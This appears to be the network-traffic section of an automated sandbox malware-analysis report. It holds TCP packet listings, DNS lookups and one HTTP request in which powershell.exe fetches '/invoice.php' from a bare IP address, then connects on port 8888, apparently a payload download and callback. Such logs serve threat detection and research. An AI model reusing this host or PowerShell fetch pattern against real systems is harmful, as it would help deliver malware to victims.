Jan 10, 2025 22:37:21.104526997 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:21.104526997 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:21.104551077 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.104584932 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.104618073 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.104650974 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.104660034 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:21.104660034 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:21.104684114 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.104717016 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.104736090 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:21.104768038 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.104820013 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.104852915 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.104882002 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:21.104887009 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.104897022 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:21.104918003 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.104954004 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.104989052 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.105007887 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:21.105021954 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.105055094 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.105087996 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.105098963 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:21.105098963 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:21.105125904 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.105159044 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.105189085 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.105221987 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.105227947 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:21.105227947 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:21.105257034 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.105285883 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.105295897 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:21.108345032 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:21.134412050 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.134464979 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.134478092 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.134490013 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.134500027 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.134512901 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.134526968 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.134541988 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.134604931 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:21.134628057 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.134641886 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.134687901 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:21.134687901 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:21.151942968 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.151969910 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.151983023 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.151994944 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.152009010 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.152021885 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.152036905 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.152111053 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:21.152111053 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:21.153204918 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.153253078 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.153266907 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.153323889 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.153337955 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.153362036 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:21.153362036 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:21.153429985 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.153441906 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.153453112 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.153487921 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:21.153487921 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:21.153558969 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.153569937 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.153618097 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.153630018 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.153640985 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.153655052 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.153662920 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:21.153662920 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:21.153907061 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:21.187815905 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.187838078 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.187849998 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.187861919 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.187885046 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.187896013 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.187907934 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.187918901 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.187932014 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.187943935 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.187957048 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.187968969 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.187968969 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:21.187968969 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:21.187978983 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.187994957 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.188007116 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:21.188007116 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:21.188009024 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.188031912 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:21.188117981 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.188131094 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.188142061 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.188153028 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.188164949 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.188177109 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.188177109 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:21.188177109 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:21.188225031 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:21.188497066 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.188530922 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.188565969 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.188597918 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.188607931 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:21.188607931 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:21.188633919 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.188687086 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.188725948 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.188755035 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.188771963 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:21.188771963 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:21.188826084 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.188859940 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.188890934 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.188925028 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.188936949 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:21.188936949 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:21.188958883 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.188993931 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.189028978 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.189064026 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.189071894 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:21.189071894 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:21.189116001 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.189148903 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.189182043 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.189189911 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:21.189215899 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.189248085 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.189282894 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.189291954 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:21.189291954 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:21.189317942 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.189351082 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.189385891 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.189419985 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.189429998 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:21.189429998 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:21.189534903 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.189568996 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.189598083 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:21.189603090 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.189635992 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.189668894 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.189702034 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.189714909 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:21.189714909 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:21.189734936 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.189872026 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.189904928 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.189939022 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.189949036 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:21.189949036 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:21.189974070 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.190007925 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.190042019 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.190074921 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.190083981 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:21.190083981 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:21.190109015 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.190145016 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.190291882 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:21.190325022 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.190359116 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.190392017 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.190424919 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.190435886 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:21.190435886 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:21.190459013 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.190491915 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.190586090 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.190622091 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.190629959 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:21.190629959 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:21.190655947 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.190707922 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.190723896 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:21.190742970 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.190777063 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.190809965 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.190843105 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.190854073 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:21.190854073 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:21.190876961 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.190912008 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.190958023 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:21.191006899 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.191067934 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.191097975 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.191140890 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:21.191140890 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:21.191148043 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.191178083 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.191229105 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:21.191231966 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.191266060 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.191298962 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.191338062 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:21.191390991 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.191653967 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:21.194890022 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:21.221363068 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.221463919 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.221497059 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.221549034 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.221585035 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.221618891 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.221653938 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.221662045 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:21.221662045 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:21.221662045 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:21.221688032 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.221724033 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.221777916 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:21.238131046 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.238143921 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.238156080 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.238260984 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.238265991 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:21.238265991 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:21.238272905 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.238284111 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.238296986 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.238445997 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:21.238445997 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:21.239615917 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.239650011 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.239661932 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.239747047 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:21.239779949 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.239789963 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.239801884 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.239823103 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:21.239891052 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:21.239940882 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.239952087 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.239962101 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.239974022 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.239984989 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.239996910 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.240035057 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:21.240035057 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:21.240283966 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.240295887 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.240390062 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:21.273816109 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.273843050 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.273863077 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.273885012 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.273901939 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.273921013 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.273932934 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.273935080 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:21.273935080 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:21.273946047 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.273988962 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:21.273988962 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:21.274020910 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.274033070 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.274148941 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.274158955 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.274169922 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.274178982 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.274205923 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:21.274205923 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:21.274286032 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.274296999 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.274303913 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:21.274307966 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.274421930 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:21.385620117 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:21.859492064 CET	49706	8888	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:21.864654064 CET	8888	49706	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:21.864748001 CET	49706	8888	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:21.865310907 CET	49706	8888	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:21.870142937 CET	8888	49706	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:22.664093018 CET	8888	49706	193.143.1.205	192.168.2.5
Jan 10, 2025 22:37:22.710525990 CET	49706	8888	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:22.826452971 CET	49706	8888	192.168.2.5	193.143.1.205
Jan 10, 2025 22:37:36.147492886 CET	60025	53	192.168.2.5	1.1.1.1
Jan 10, 2025 22:37:36.152303934 CET	53	60025	1.1.1.1	192.168.2.5
Jan 10, 2025 22:37:36.152376890 CET	60025	53	192.168.2.5	1.1.1.1
Jan 10, 2025 22:37:36.157202959 CET	53	60025	1.1.1.1	192.168.2.5
Jan 10, 2025 22:37:36.636027098 CET	60025	53	192.168.2.5	1.1.1.1
Jan 10, 2025 22:37:36.640990973 CET	53	60025	1.1.1.1	192.168.2.5
Jan 10, 2025 22:37:36.641064882 CET	60025	53	192.168.2.5	1.1.1.1

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 22:37:34.791338921 CET	56154	53	192.168.2.5	1.1.1.1
Jan 10, 2025 22:37:36.146959066 CET	53	52360	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 22:37:34.791338921 CET	192.168.2.5	1.1.1.1	0x3949	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 10, 2025 22:37:33.989347935 CET	1.1.1.1	192.168.2.5	0x4be6	No error (0)	edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 22:37:33.989347935 CET	1.1.1.1	192.168.2.5	0x4be6	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.25	A (IP address)	IN (0x0001)	false
Jan 10, 2025 22:37:33.989347935 CET	1.1.1.1	192.168.2.5	0x4be6	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.24	A (IP address)	IN (0x0001)	false
Jan 10, 2025 22:37:33.989347935 CET	1.1.1.1	192.168.2.5	0x4be6	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.37	A (IP address)	IN (0x0001)	false
Jan 10, 2025 22:37:33.989347935 CET	1.1.1.1	192.168.2.5	0x4be6	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.43	A (IP address)	IN (0x0001)	false
Jan 10, 2025 22:37:33.989347935 CET	1.1.1.1	192.168.2.5	0x4be6	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.38	A (IP address)	IN (0x0001)	false
Jan 10, 2025 22:37:33.989347935 CET	1.1.1.1	192.168.2.5	0x4be6	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.20	A (IP address)	IN (0x0001)	false
Jan 10, 2025 22:37:33.989347935 CET	1.1.1.1	192.168.2.5	0x4be6	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.27	A (IP address)	IN (0x0001)	false
Jan 10, 2025 22:37:33.989347935 CET	1.1.1.1	192.168.2.5	0x4be6	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.38	A (IP address)	IN (0x0001)	false
Jan 10, 2025 22:37:34.798902035 CET	1.1.1.1	192.168.2.5	0x3949	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49705	193.143.1.205	80	7452	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 22:37:19.753998995 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
